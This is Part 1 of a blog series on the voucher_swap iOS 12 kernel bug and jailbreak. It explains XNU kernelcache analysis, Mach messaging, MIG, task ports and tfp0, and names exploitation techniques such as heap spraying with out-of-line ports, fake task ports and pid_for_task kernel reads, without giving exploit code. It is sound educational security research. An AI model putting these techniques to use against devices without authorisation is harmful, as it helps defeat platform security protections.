30 Apr 19

From Zero to tfp0 - Part 1: Prologue


On Jan 22, 2019, Google Project Zero researcher @_bazad tweeted the following.



It was a reference counting bug in MIG (Message Interface Generator) generated code. The Proof of Concept (PoC) included a code snippet that would trigger the bug and cause a kernel panic. This was followed later by a complete PoC that provided the Kernel task port (tfp0) to userland thereby enabling arbitrary kernel read and write.



The bug was then used to develop a complete jailbreak for iOS 12 using various contributions from the community. This blog series is divided into three parts.

Part 1 deals with iOS security basics, which are fundamental in understanding the next two parts. It discusses kernelcache analysis, Mach messaging, Mach Ports, MIG, Heap allocation basics, CoreTrust, PAC, etc and some popular exploitation techniques such as creating a fake kernel task port, task_for_pid() arbitrary kernel read, etc. If you are already aware of these techniques, you can skip to Part 2 directly. During Part 1, I will give references which will link to the other two parts which will further reiterate why these concepts are essential to understand.

Part 2 will discuss the actual vulnerability and all exploitation steps leading up to the Kernel task port (tfp0).

Part 3 will discuss the steps taken to achieve a jailbreak such as bypassing sandboxing, CoreTrust, enabling rootfs remount etc.


Before we get started, you will need the following files to follow along.

  • A copy of the vulnerable xnu kernel - xnu-4903.221.2
  • The voucher_swap exploit code - voucher_swap
  • Latest version of the unc0ver jailbreak
  • The IPSW for iOS12.0 for iPhone8
  • Hopper, IDA Pro, Or Binary-Ninja, whichever reversing tool you prefer.
  • jtool2

XNU Kernel

The iOS Kernelcache comprises of the core kernel and its kernel extensions. The kernel code itself is closed source; however, it is based on a fork of the open source XNU Kernel which is also used on Mac OS. The XNU kernel can be downloaded from opensource.apple.com.



Over the last few years, Apple has been open sourcing the ARM specific code as well. This can be found under ifdef CONFIG_EMBEDDEDstatements. Apple however still decides to keep some implementations to itself.

File: /bsd/conf/param.c

27285:    83  struct	timezone tz = { 0, 0 };
27286:    84
27287:    85: #if CONFIG_EMBEDDED
27288:    86  #define	NPROC 1000          /* Account for TOTAL_CORPSES_ALLOWED by making this slightly lower than we can. */
27289:    87  #define	NPROC_PER_UID 950
27290:    ..
27291:    96  int	maxprocperuid = NPROC_PER_UID;
27292:    97
27293:    98: #if CONFIG_EMBEDDED
27294:    99  int hard_maxproc = NPROC;	/* hardcoded limit -- for embedded the number of processes is limited by the ASID space */
27295:   100  #else

It is possible to identify some vulnerabilities in the kernel by just auditing the source code. Some vulnerabilities can, however, be identified only by compiling the kernel (e.g., voucher_swap) and looking under the BUILD directory, which provides access to MIG generated code. Vulnerabilities that are present in kernel extensions (Kexts) are usually identified by reverse engineering since their code is not usually open source. Some vulnerabilities might be relevant only on Mac OS while some will be relevant only for iOS.


The kernelcache is a single Mach-O binary which includes the core kernel along with its kernel extensions. It used to be encrypted until iOS 10, after which Apple surprisingly decided to release the kernelcache unencrypted, citing performance reasons as the primary factor. It can now be easily unpacked and extracted from the IPSW file. Before this, the kernelcache was usually dumped from the memory once a kernel vulnerability was identified, or by getting access to the encryption keys (from theiphonewiki or using a bootrom exploit).

To find the decompressed kernelcache, simple unzip the IPSW file that we downloaded earlier from the downloads section and look for the kernelcache file. Optionally, you can choose any IPSW of your preference.

prateek:mv iPhone_4.7_P3_12.0_16A366_Restore.ipsw iPhone_4.7_P3_12.0_16A366_Restore.zip
prateek:unzip iPhone_4.7_P3_12.0_16A366_Restore.zip
Archive:  iPhone_4.7_P3_12.0_16A366_Restore.zip
  inflating: Restore.plist
   creating: Firmware/
   creating: Firmware/usr/
   creating: Firmware/usr/local/
  inflating: BuildManifest.plist
   creating: Firmware/AOP/
  inflating: Firmware/AOP/aopfw-t8010aop.im4p
  inflating: Firmware/D201_CallanFirmware.im4p
  inflating: kernelcache.release.iphone10
  inflating: Firmware/ICE16-3.00.01.Release.plist
  inflating: kernelcache.release.iphone9
  inflating: Firmware/ICE17-2.00.01.Release.plist
   creating: Firmware/Maggie/

To list all the kernel extensions and split them into corresponding Kext (.kext extension) files, you can use jtool2.



IDA detects a kernelcache by its magic value and and gives you an option to split the kernelcache into its corresponding Kext files as well. You can now reverse these kernel extensions separately in order to find vulnerabilities within them. Hopper on the other hand doesn't split into Kexts, so the whole kernel has to be analyzed as one single blob. You can however extract a specific Kext via jtool2 from the main kernelcache and then open it with Hopper.



On a jailbroken iOS device, the decompressed kernelcache can be found under /System/Library/Caches/com.apple.kernelcaches/kernelcache. Some jailbreaks use this file in order to find the address of certain symbols and offsets dynamically rather than using hardcoded offsets. An excellent example of this is the DoubleH3lix by @tihmstar.

Symbolicating Kernelcache

Symbolicating (reassociating symbols such as function names with addresses) a binary can involve a lot of manual effort. Until iOS 11, the kernelcache used to ship with certain symbols. Since iOS 12, Apple decided to strip the kernelcache of all symbols, but not before mistakingly releasing a beta version with all symbols intact. The IPSW was later removed from the downloads section. The following image shows the symbol count obtained by jtool2 on an iOS 12 kernelcache (stripped) and the iOS 12 beta kernelcache that was released with all symbols intact.


The one kernelcache that was released with symbols was then later used by jtool2 in creating symbols for the newer iOS kernelcaches. One of the most useful features of jtool2 is its analyze command where you can feed it an iOS 12 kernelcache, and it will spit out the symbols for it.



As we can see, the companion file generated has about 12000 symbols.



The Pro version of IDA has a feature named Lumina Server that can be used to get symbols for the latest iOS binaries.

Building the Kernel

Building the kernel is quite important in finding vulnerabilities. In fact, the bug that we are discussing here (voucher_swap) wouldn't have been identified with just a source code review of the XNU kernel. It's a little complicated to build the kernel because of the dependencies and the reliance on the built version to be the same version of the host machine, but a quick google search will land you on many articles with step by step instruction to compile the kernel including this automation script written by @_bazad for XNU version 4570.1.46 (MacOS High Sierra 10.13). We will look into the actual vulnerability in Part 2 where we will look into the vulnerable source code present in one of the MIG generated files.

Mach Messaging

One of the unique features of the XNU kernel is its extensive use of Mach IPC, which is derived from the Mach microkernel, and is easily one of the fastest IPC mechanisms developed to date. A lot of the frequently used IPC mechanisms on iOS such as XPC still use Mach messaging under the hood. Here are some essential points about Mach messaging.

  • Mach IPC is based on unidirectional communication
  • Communication in Mach IPC happens between Ports (endpoints) in the form of Mach messages. Mach messages can be simple or complex, depending on a certain bit set in the message header.
  • In order to send messages, you must have an associated port right to it. The same applies for receiving a message, in order to receive a message, you must have a receive right to the port. The different types of rights are
    • MACH_PORT_RIGHT_SEND - Send right to a port allowing unlimited messages
    • MACH_PORT_RIGHT_RECEIVE - Receive rights to a port
    • MACH_PORT_RIGHT_SEND_ONCE - Send right allowing only one message to a port
    • MACH_PORT_RIGHT_PORT_SET - A set of rights to a port
    • MACH_PORT_RIGHT_DEAD_NAME - If the receiver dies, then the SEND right to it becomes MACH_PORT_RIGHT_DEAD_NAME. The same applies when the sender has SEND_ONCE to the port and one message gets sent.
  • Mach Port rights can be embedded and sent over Mach messages.
  • There can be multiple SEND rights but only one RECEIVE right for a PORT. SEND rights can also be cloned whereas RECEIVE rights cannot.
  • When Mach messages are sent, they are held in a queue in the kernel unless received by the receiver. This technique has been used in the past for Heap-feng-shui.
  • One of the most important binaries in iOS is launchd, which acts as the bootstrap server and allows processes to communicate with each other. launchd can help one process look up another process since all the processes check in with launchd and register themselves once they boot up. Consequently, launchd can also implement throttling and allow or deny lookup in certain situations, thereby acting as a security control. The importance of launchd cannot be underestimated and hence it is the first daemon to be launched (PID 1) and any crash in launchd would immediately trigger a kernel panic.
  • Messages are sent and received by threads within a process, which acts as the execution unit within a process. However, the port right is held on a task level, and is mentioned in the task's ipc_space (discussed later)

Let's have a look at the kernel to find the Mach IPC related code. Navigate to xnu-4903.221.1/osfmk/mach/message.h. As discussed before, messages can be simple or complex in nature. In the image below, you can see the structure of a simple mach message (mach_msg_base_t), which includes a header(mach_msg_header_t) and a body(mach_msg_body_t). However, for a simple message, the body is ignored by the kernel.

File: ./osfmk/mach/message.h
397: typedef struct
398: {
399:         mach_msg_size_t msgh_descriptor_count;
400: } mach_msg_body_t;
402: #define MACH_MSG_BODY_NULL (mach_msg_body_t *) 0
403: #define MACH_MSG_DESCRIPTOR_NULL (mach_msg_descriptor_t *) 0
405: typedef	struct
406: {
407:   mach_msg_bits_t	msgh_bits;
408:   mach_msg_size_t	msgh_size;
409:   mach_port_t		msgh_remote_port;
410:   mach_port_t		msgh_local_port;
411:   mach_port_name_t	msgh_voucher_port;
412:   mach_msg_id_t		msgh_id;
413: } mach_msg_header_t;
415: #define	msgh_reserved		msgh_voucher_port
416: #define MACH_MSG_NULL	(mach_msg_header_t *) 0
418: typedef struct
419: {
420:         mach_msg_header_t       header;
421:         mach_msg_body_t         body;
422: } mach_msg_base_t;

The mach message header structure has the following attributes.

  • msgh_bits: It's a bitmap containing various properties of the message, such as whether the message is simple or complex, the action to be performed (such as moving or copying port rights). The complete logic can be found in osfmk/mach/message.h
  • msgh_size: Size of (header + body)
  • msgh_remote_port: Send right to the destination port
  • msgh_local_port: Receive right to the port where message needs to be received
  • msgh_voucher_port: Vouchers are used to pass arbitrary data in messages over key-value pairs
  • msgh_id: An arbitrary 32-bit field

Complex messages are specified with the complex bit set to 1 in the msgh_bits as defined in message.h

File: ./BUILD/obj/EXPORT_HDRS/osfmk/mach/message.h
132: #define MACH_MSGH_BITS_ZERO		0x00000000
134: #define MACH_MSGH_BITS_REMOTE_MASK	0x0000001f
135: #define MACH_MSGH_BITS_LOCAL_MASK	0x00001f00
136: #define MACH_MSGH_BITS_VOUCHER_MASK	0x001f0000
143: #define MACH_MSGH_BITS_COMPLEX		0x80000000U	/* message is complex */
145: #define MACH_MSGH_BITS_USER             0x801f1f1fU	/* allowed bits user->kernel */
147: #define	MACH_MSGH_BITS_RAISEIMP		0x20000000U	/* importance raised due to msg */

It also contains certain descriptors in addition to the header, and the number of descriptors is specified in the body (msgh_descriptor_count).

File: ./BUILD/obj/EXPORT_HDRS/osfmk/mach/message.h
388: typedef union
389: {
390:   mach_msg_port_descriptor_t		port;
391:   mach_msg_ool_descriptor_t		out_of_line;
392:   mach_msg_ool_ports_descriptor_t	ool_ports;
393:   mach_msg_type_descriptor_t		type;
394: } mach_msg_descriptor_t;
395: #endif
397: typedef struct
398: {
399:         mach_msg_size_t msgh_descriptor_count;
400: } mach_msg_body_t;
402: #define MACH_MSG_BODY_NULL (mach_msg_body_t *) 0
403: #define MACH_MSG_DESCRIPTOR_NULL (mach_msg_descriptor_t *) 0
405: typedef	struct
406: {
407:   mach_msg_bits_t	msgh_bits;
408:   mach_msg_size_t	msgh_size;
409:   mach_port_t		msgh_remote_port;
410:   mach_port_t		msgh_local_port;
411:   mach_port_name_t	msgh_voucher_port;
412:   mach_msg_id_t		msgh_id;
413: } mach_msg_header_t;

The mach_msg_type_descriptor_t field specifies what type of descriptor it is, and the other fields contains the corresponding data. The following types of descriptors are present:

 * In a complex mach message, the mach_msg_header_t is followed by
 * a descriptor count, then an array of that number of descriptors
 * (mach_msg_*_descriptor_t). The type field of mach_msg_type_descriptor_t
 * (which any descriptor can be cast to) indicates the flavor of the
 * descriptor.
 * Note that in LP64, the various types of descriptors are no longer all
 * the same size as mach_msg_descriptor_t, so the array cannot be indexed
 * as expected.

typedef unsigned int mach_msg_descriptor_type_t;


#pragma pack(4)

typedef struct
  natural_t			pad1;
  mach_msg_size_t		pad2;
  unsigned int			pad3 : 24;
  mach_msg_descriptor_type_t	type : 8;
} mach_msg_type_descriptor_t;

  • MACH_MSG_PORT_DESCRIPTOR: Sending a port in a message
  • MACH_MSG_OOL_DESCRIPTOR: Sending OOL data in a message
  • MACH_MSG_OOL_PORTS_DESCRIPTOR: Sending OOL ports array in a message
  • MACH_MSG_OOL_VOLATILE_DESCRIPTOR: Sending volatile data in a message

The OOL (Out-of-line) Ports descriptor has been used extensively in spraying the heap with user-controlled data. Whenever MACH_MSG_OOL_PORTS_DESCRIPTOR is used, it allocates (kalloc) an array in the kernel heap with all the port pointers. This technique was used in the voucher_swap exploit and will be discussed in Part 2 of this series.

Ports are represented by mach_port_t or mach_port_name_t in userland, but not in the kernel, and this is why it is important to understand the difference between them when used in exploits. mach_port_name_t represents the local namespace identity but without associating any port rights, and it is essentially meaningless outside of the task's namespace. However, whenever a process receives a mach_port_t from the kernel, it maps the associated port rights to the receiver, whereas in case of mach_port_name_t this is not the case. mach_port_t will usually always have at least one right, which could be RECEIVE, SEND or SEND_ONCE. This is the reason when we are referring to the kernel task port in exploits; we use mach_port_t because it does associate the port rights with the object. Obtaining a handle to mach_port_tautomatically creates the associated send rights in the caller's namespace.

In order to send or receive a message, the mach_msg and mach_msg_overwrite APIs can be used as defined in osfmk/mach/message.h. Let's have a look at some code samples to get a better understanding. The following code snippet shows the creation of a mach port using the mach_port_allocate API and getting a receive right to that port.

//Initialize a Port
mach_port_t port = MACH_PORT_NULL;
kern_return_t err;
//Allocate the port and get a receive right
err = mach_port_allocate(mach_task_self(), MACH_PORT_RIGHT_RECEIVE, &port);
if (err != KERN_SUCCESS) {
    printf("Failed to Allocate a port \n");
    return MACH_PORT_NULL;

The message can then be sent using the mach_msg Mach trap.

typedef struct
	mach_msg_header_t header;
    char body[100];
} message

struct message message;
strcpy(message.body, "Hello World !\n");
message.header.msgh_remote_port = port; /*Destination Port*/
message.header.msgh_local_port = MACH_PORT_NULL;
message.header.msgh_bits = MACH_MSGH_BITS(MACH_MSG_TYPE_MAKE_SEND, 0);
message.header.msgh_size = sizeof(message);
err = mach_msg (&message.header,			/* The header */
	    	  MACH_SEND_MSG,	/* Flags */
		      sizeof (message),			/* Send size */
		      0,			/* Max receive Size */
		      port,				/* Receive port */
		      MACH_MSG_TIMEOUT_NONE,		/* No timeout */
		      MACH_PORT_NULL);			/* No notification */

And can be received with mach_msg

mach_port_t receive;

err = mach_port_allocate (mach_task_self (),
       		      	    MACH_PORT_RIGHT_RECEIVE, &receive);

err = mach_msg (&message.header,/* The header */
      MACH_RCV_MSG,	/* Flags */
      0, /* Send size */
	  sizeof (message),/* Max receive size */
      receive,	/* Receive port */
      MACH_MSG_TIMEOUT_NONE, /* No timeout */
      MACH_PORT_NULL);/* No notification */

File: ./BUILD/obj/EXPORT_HDRS/osfmk/mach/message.h
0959: /*
0960:  *	Routine:	mach_msg_overwrite
0961:  *	Purpose:
0962:  *		Send and/or receive a message.  If the message operation
0963:  *		is interrupted, and the user did not request an indication
0964:  *		of that fact, then restart the appropriate parts of the
0965:  *		operation silently (trap version does not restart).
0966:  *
0967:  *		Distinct send and receive buffers may be specified.  If
0968:  *		no separate receive buffer is specified, the msg parameter
0969:  *		will be used for both send and receive operations.
0970:  *
0971:  *		In addition to a distinct receive buffer, that buffer may
0972:  *		already contain scatter control information to direct the
0973:  *		receiving of the message.
0974:  */
0976: extern mach_msg_return_t	mach_msg_overwrite(
0977: 					mach_msg_header_t *msg,
0978: 					mach_msg_option_t option,
0979: 					mach_msg_size_t send_size,
0980: 					mach_msg_size_t rcv_size,
0981: 					mach_port_name_t rcv_name,
0982: 					mach_msg_timeout_t timeout,
0983: 					mach_port_name_t notify,
0984: 					mach_msg_header_t *rcv_msg,
0985: 					mach_msg_size_t rcv_limit);
0987: #ifndef	KERNEL
0989: /*
0990:  *	Routine:	mach_msg
0991:  *	Purpose:
0992:  *		Send and/or receive a message.  If the message operation
0993:  *		is interrupted, and the user did not request an indication
0994:  *		of that fact, then restart the appropriate parts of the
0995:  *		operation silently (trap version does not restart).
0996:  */
0998: extern mach_msg_return_t	mach_msg(
0999: 					mach_msg_header_t *msg,
1000: 					mach_msg_option_t option,
1001: 					mach_msg_size_t send_size,
1002: 					mach_msg_size_t rcv_size,
1003: 					mach_port_name_t rcv_name,
1004: 					mach_msg_timeout_t timeout,
1005: 					mach_port_name_t notify);

If you have a send right to a port, you can insert that send right into another task using mach_port_insert_right and then sending the message using mach_msg. As discussed before, mach_port_name_t is meaningless outside a task's namespace, this is why the task (ipc_space_t) needs to be specified along with the mach_port_name_t so that the kernel can put the specified name (mach_port_name_t) into that task's namespace.

 *	Inserts the specified rights into the target task,
 *	using the specified name.  If inserting send/receive
 *	rights and the task already has send/receive rights
 *	for the port, then the names must agree.In any case,
 *	the task gains a user ref for the port.

#ifdef	mig_external
#endif	/* mig_external */
kern_return_t mach_port_insert_right
	ipc_space_t task,
	mach_port_name_t name,
	mach_port_t poly,
	mach_msg_type_name_t polyPoly

kr = mach_port_insert_right(receiver_task, 0x1234, port,

MIG - Mach Interface Generator

A lot of the code written using Mach APIs involves the same boilerplate code, doing which many times might cause complications and even lead to security flaws, and this is where the Mach Interface Generator comes in very handy. It implements a stub function based on a MIG specification file (defs). The client can call this stub function just like any other C function call, and the stub function handles marshaling and un-marshaling data in and out of the mach messages, thereby controlling all the Mach IPC implementation happening underneath.

MIG's specification files have the extension defs, and when the kernel is compiled, these files get processed by MIG and result in addition of extra files, which contains the autogenerated MIG wrappers. For example, let's have a look at the task.defs file in osfmk/mach/task.defs. As you can see, each defs file has a subsystem name followed by an arbitrary number, which is declared at the very beginning of the file. In this case, the subsystem name is task and is the number is 3400. The stub function may also check the validity of the arguments that are passed to it.

65: subsystem
67:     KernelServer
68: #endif  /* KERNEL_SERVER */
69:     task 3400;
71: #include <mach/std_types.defs>
72: #include <mach/mach_types.defs>
73: #include <mach_debug/mach_debug_types.defs>
75: /*
76:  *  Create a new task with an empty set of IPC rights,
77:  *  and having an address space constructed from the
78:  *  target task (or empty, if inherit_memory is FALSE).
79:  */
80: routine task_create(
81:     target_task : task_t;
82:     ledgers   : ledger_array_t;
83:     inherit_memory  : boolean_t;
84:   out child_task  : task_t);
86: /*
87:  *  Destroy the target task, causing all of its threads

If you want to generate the MIG wrappers, you can simple run mig on any def file from a clean directory.

$ ls
$ mig task.defs 
$ ls
task.defs	task.h	taskServer.c	taskUser.c

During compilation, the mig tool creates three files based on the subsystem name. For example, for the task subsystem, the following files are created

  • taskUser.c - This file contains the implementations for the proxy functions which is responsible for marshalling the data into a message and sending it. It is also responsible for unmarshalling the returned data and getting it sent back to the client.
  • task.c - Prototype for the proxy functions
  • taskServer.c - Implementations for the stub functions are contained in this file.

There are many routines defined in the generated file and these are basically the functions. Let's look at one specific Mach API routine task_set_exception_ports and have a look at the auto-generated MIG code.

1697: /* Routine task_set_exception_ports */
1698: mig_internal novalue _Xtask_set_exception_ports
1699:   (mach_msg_header_t *InHeadP, mach_msg_header_t *OutHeadP)
1700: {
1702: #ifdef  __MigPackStructs
1703: #pragma pack(4)
1704: #endif
1705:   typedef struct {
1706:     mach_msg_header_t Head;
1707:     /* start of the kernel processed data */
1708:     mach_msg_body_t msgh_body;
1709:     mach_msg_port_descriptor_t new_port;
1710:     /* end of the kernel processed data */
1711:     NDR_record_t NDR;
1712:     exception_mask_t exception_mask;
1713:     exception_behavior_t behavior;
1714:     thread_state_flavor_t new_flavor;
1715:     mach_msg_trailer_t trailer;
1716:   } Request __attribute__((unused));
1717: #ifdef  __MigPackStructs
1718: #pragma pack()
1719: #endif
1720:   typedef __Request__task_set_exception_ports_t __Request;
1721:   typedef __Reply__task_set_exception_ports_t Reply __attribute__((unused));

It's quite important to audit the code in these functions as well. In the next article, we will discuss a vulnerability identified in the autogenerated MIG code obtained after building the kernel.

Task Ports

One of the other useful features of Mach Ports is that they serve as an abstraction over Objects, and the abstraction is provided by Mach Messages which mostly translate over MIG. For example, the Host Mach ports provide many APIs to get information about the host. The host_kernel_version() function will print out the kernel version. This is the same API used by the uname -r command. Looking at the file osfmk/mach/mach_host.defs will show all the routines provided by the host port APIs.

File: ./osfmk/mach/mach_host.defs
087: /*
088:  *	Return information about this host.
089:  */
090: routine host_info(
091: 		host		: host_t;
092: 		flavor		: host_flavor_t;
093: 	out	host_info_out	: host_info_t, CountInOut);
095: /*
096:  *	Get string describing current kernel version.
097:  */
098: routine	host_kernel_version(
099: 		host		: host_t;
100: 	out	kernel_version	: kernel_version_t);
102: /*
103:  *      Get host page size
104:  *	(compatibility for running old libraries on new kernels -
105:  *	host_page_size() is now a library routine based on constants)
106:  */
107: #if KERNEL
108: routine host_page_size(
109: #else
110: routine _host_page_size(
111: #endif
112: 		host		: host_t;
113: 	out	out_page_size	: vm_size_t);

Similarly, the task ports serve as an abstraction over the task. The APIs can be found under osfmk/mach/task.defs or osfmk/mach/task.defs in the BUILD folder in the kernel.

File: ./osfmk/mach/task.defs
409: /*
410:  * Read the selected state which is to be installed on new
411:  * threads in the task as they are created.
412:  */
413: routine task_get_state(
414: 		task		: task_t;
415: 		flavor		: thread_state_flavor_t;
416: 	out	old_state	: thread_state_t, CountInOut);
418: /*
419:  * Set the selected state information to be installed on
420:  * all subsequently created threads in the task.
421:  */
422: routine	task_set_state(
423: 		task		: task_t;
424: 		flavor		: thread_state_flavor_t;
425: 		new_state	: thread_state_t);
427: /*
428:  * Change the task's physical footprint limit (in MB).
429:  */
430: routine task_set_phys_footprint_limit(
431: 		task		: task_t;
432: 		new_limit	: int;
433: 	out old_limit	: int);
435: routine task_suspend2(
436: 		target_task : task_t;
437: 	out suspend_token : task_suspension_token_t);
439: routine task_resume2(
440: 		suspend_token : task_suspension_token_t);

These APIs are quite powerful and allow full interaction with the target task. Having a send right to the task port of a process will give full control over that task, which includes reading, writing and allocating of memory in the target task's memory region. Note: we are mentioning Task (coming from Mach) ports of a process (coming from BSD); this might seem wierd, and it is important to note that while these are two different flavours of Mach, they are internally linked. Every associated BSD process has a corresponding Mach task and vice versa. The task struct can be found under osfmk/kern/task.h, this has a bsd_info field which is a pointer to the proc structure in bsd/sys/proc_internal.h. Similarly, the task field in the proc structure is a pointer to the task structure of that process.



Using the Mach Trap task_for_pid, it is possible to get a send right to the task port corresponding to the target PID to the caller. As can be seen from the comments below in the implementation in the file bsd/vm/vm_unix.c, it is only permitted to privileged processes or processes with the same user ID. Apart from being privileged, calling this API also requires certain entitlements (get-task-allow and task_for_pid-allow).

File: /bsd/vm/vm_unix.c
749: /*
750:  *	Routine:	task_for_pid
751:  *	Purpose:
752:  *		Get the task port for another "process", named by its
753:  *		process ID on the same host as "target_task".
754:  *
755:  *		Only permitted to privileged processes, or processes
756:  *		with the same user ID.
757:  *
758:  *		Note: if pid == 0, an error is return no matter who is calling.
759:  *
760:  * XXX This should be a BSD system call, not a Mach trap!!!
761:  */
762: kern_return_t
763: task_for_pid(
764: 	struct task_for_pid_args *args)
765: {
766: 	mach_port_name_t	target_tport = args->target_tport;
767: 	int			pid = args->pid;
768: 	user_addr_t		task_addr = args->t;
769: 	proc_t 			p = PROC_NULL;
770: 	task_t			t1 = TASK_NULL;
771: 	mach_port_name_t	tret = MACH_PORT_NULL;
772:  	ipc_port_t 		tfpport;
773: 	void * sright;
774: 	int error = 0;
777: 	AUDIT_ARG(pid, pid);
778: 	AUDIT_ARG(mach_port1, target_tport);
780: 	/* Always check if pid == 0 */
781: 	if (pid == 0) {
782: 		(void ) copyout((char *)&t1, task_addr, sizeof(mach_port_name_t));
784: 		return(KERN_FAILURE);
785: 	}
787: 	t1 = port_name_to_task(target_tport);
788: 	if (t1 == TASK_NULL) {
789: 		(void) copyout((char *)&t1, task_addr, sizeof(mach_port_name_t));
791: 		return(KERN_FAILURE);
792: 	}
795: 	p = proc_find(pid);
796: 	if (p == PROC_NULL) {
797: 		error = KERN_FAILURE;
798: 		goto tfpout;
799: 	}
802: 	AUDIT_ARG(process, p);
803: #endif
805: 	if (!(task_for_pid_posix_check(p))) {
806: 		error = KERN_FAILURE;
807: 		goto tfpout;
808: 	}
810: 	if (p->task != TASK_NULL) {
811: 		/* If we aren't root and target's task access port is set... */
812: 		if (!kauth_cred_issuser(kauth_cred_get()) &&
813: 			p != current_proc() &&
814: 			(task_get_task_access_port(p->task, &tfpport) == 0) &&
815: 			(tfpport != IPC_PORT_NULL)) {
817: 			if (tfpport == IPC_PORT_DEAD) {
819: 				goto tfpout;

Another thing you will notice here is the check for pid=0. This is done to prevent user specified process from accessing the send right to the kernel task port (tfp0) by specifying the pid 0. Previously, once kernel r/w was obtained, the jailbreaks used to kill this check and call task_for_pid(0). However, with the advent of KPP and AMCC/KTRR, patching wasn't possible anymore, and hence other techniques were used but the name tfp0 still stuck and is still used to signify read and write access to kernel memory.

The other API very commonly used is the pid_for_task() Mach Trap, which is used to find the pid for the process corresponding to a given Mach Task. What it basically does is look up the task struct, look up the bsd_info field which points to the corresponding BSD proc struct in the kernel, and reads the p_pid value from the proc struct. This technique has been widely used to read arbitrary kernel memory four bytes at a time (since the pid field is 32 bits) by creating a fake task port, which is discussed later in this article.

File: /bsd/vm/vm_unix.c
612: kern_return_t
613: pid_for_task(
614: 	struct pid_for_task_args *args)
615: {
616: 	mach_port_name_t	t = args->t;
617: 	user_addr_t		pid_addr  = args->pid;
618: 	proc_t p;
619: 	task_t		t1;
620: 	int	pid = -1;
621: 	kern_return_t	err = KERN_SUCCESS;
624: 	AUDIT_ARG(mach_port1, t);
626: 	t1 = port_name_to_task_inspect(t);
628: 	if (t1 == TASK_NULL) {
629: 		err = KERN_FAILURE;
630: 		goto pftout;
631: 	} else {
632: 		p = get_bsdtask_info(t1);
633: 		if (p) {
634: 			pid  = proc_pid(p);
635: 			err = KERN_SUCCESS;
636: 		} else if (is_corpsetask(t1)) {
637: 			pid = task_pid(t1);
638: 			err = KERN_SUCCESS;
639: 		}else {
640: 			err = KERN_FAILURE;
641: 		}
642: 	}
643: 	task_deallocate(t1);
644: pftout:
645: 	AUDIT_ARG(pid, pid);
646: 	(void) copyout((char *) &pid, pid_addr, sizeof(int));
648: 	return(err);
649: }

Kernel Task Port

The kernel is assigned the PID 0, and the corresponding process-less task is dubbed as the kernel task. Having a send right to the Kernel task gives you complete control of the kernel memory, it is possible to read and write into kernel memory and also inject arbitrary code by allocating memory. This is what exploits try to obtain.

As discussed before, one of the earlier ways to use task_for_pid(0) was by Patching out the check for pid 0. There was also the processer_set_tasks() API on Mac OS that on a not secure kernel (#if defined SECURE_KERNEL), i.e. Mac OS, returned the kernel task port as the first argument.

Once the kernel task port is obtained, the following five MACH APIs are frequently used to interact with the memory. It is important to note that to execute this function successfully, the caller must have a send right to the task port of the target task. If you look at the function prototype, the first argument is the target task (vm_map_t target_task). You can pass the kernel task port (mach_port_t tfp0) as the first argument, and the API will gladly accept it.

/*Allocate a region of virtual memory in the target task starting from user specified address*/

	vm_map_t target,
	mach_vm_address_t *address,
	mach_vm_size_t size,
	int flags

/*Deallocate a region of virtual memory in the target task starting from user specified address*/

	vm_map_t target,
	mach_vm_address_t address,
	mach_vm_size_t size

/*Read Kernel Memory in the target task at a specified address and transfers it to dynamically allocated memory in the callers address space*/

	vm_map_t		map,
	mach_vm_address_t	addr,
	mach_vm_size_t	size,
	pointer_t		*data,
	mach_msg_type_number_t	*data_size) *data_size);

/*Copy data from a caller-specified address to the given memory region in the target tasks address space*/

	vm_map_t target_task,
	mach_vm_address_t address,
	vm_offset_t data,
	mach_msg_type_number_t dataCnt

/*Sets the Protection attribute for a given memory range in the target tasks address space*/

	vm_map_t target_task,
	mach_vm_address_t address,
	mach_vm_size_t size,
	boolean_t set_maximum,
	svm_prot_t new_protection);

hsp4 Patch

One of the other techniques Apple implemented for preventing jailbreakers from getting the kernel task was a pointer check for the kernel_task. In this case, while the handle to the kernel task was obtained, the Mach VM calls would not work. The check starts from the ipc_kmsg_trace_send function. This calls the function convert_port_to_task_with_exec_token(Line 356) in osfmk/kern/ipc_kobject.c.

File: ./osfmk/kern/ipc_kobject.c
343: 	/*
344: 	 * Find the routine to call, and call it
345: 	 * to perform the kernel function
346: 	 */
347: 	ipc_kmsg_trace_send(request, option);
348: 	{
349: 	    if (ptr) {
350: 		/*
351: 		 * Check if the port is a task port, if its a task port then
352: 		 * snapshot the task exec token before the mig routine call.
353: 		 */
354: 		ipc_port_t port = request->ikm_header->msgh_remote_port;
355: 		if (IP_VALID(port) && ip_kotype(port) == IKOT_TASK) {
356: 			task = convert_port_to_task_with_exec_token(port, &exec_token);
357: 		}
359: 		(*ptr->routine)(request->ikm_header, reply->ikm_header);
361: 		/* Check if the exec token changed during the mig routine */
362: 		if (task != TASK_NULL) {
363: 			if (exec_token != task->exec_token) {
364: 				exec_token_changed = TRUE;
365: 			}
366: 			task_deallocate(task);
367: 		}
369: 		kernel_task->messages_received++;
370: 	    }
371: 	    else {
372: 		if (!ipc_kobject_notify(request->ikm_header, reply->ikm_header)){
374: 		    printf("ipc_kobject_server: bogus kernel message, id=%d\n",
375: 			request->ikm_header->msgh_id);
376: #endif	/* DEVELOPMENT || DEBUG */
377: 		    _MIG_MSGID_INVALID(request->ikm_header->msgh_id);
379: 		    ((mig_reply_error_t *) reply->ikm_header)->RetCode
380: 			= MIG_BAD_ID;
381: 		}

The function convert_port_to_task_with_exec_token then calls task_conversion_eval(Line 1543).

File: ./osfmk/kern/ipc_tt.c
1517: /*
1518:  *	Routine:	convert_port_to_task_with_exec_token
1519:  *	Purpose:
1520:  *		Convert from a port to a task and return
1521:  *		the exec token stored in the task.
1522:  *		Doesn't consume the port ref; produces a task ref,
1523:  *		which may be null.
1524:  *	Conditions:
1525:  *		Nothing locked.
1526:  */
1527: task_t
1528: convert_port_to_task_with_exec_token(
1529: 	ipc_port_t		port,
1530: 	uint32_t		*exec_token)
1531: {
1532: 	task_t		task = TASK_NULL;
1534: 	if (IP_VALID(port)) {
1535: 		ip_lock(port);
1537: 		if (	ip_active(port)					&&
1538: 				ip_kotype(port) == IKOT_TASK		) {
1539: 			task_t ct = current_task();
1540: 			task = (task_t)port->ip_kobject;
1541: 			assert(task != TASK_NULL);
1543: 			if (task_conversion_eval(ct, task)) {
1544: 				ip_unlock(port);
1545: 				return TASK_NULL;
1546: 			}
1548: 			if (exec_token) {
1549: 				*exec_token = task->exec_token;
1550: 			}
1551: 			task_reference_internal(task);
1552: 		}
1554: 		ip_unlock(port);
1555: 	}
1557: 	return (task);
1558: }

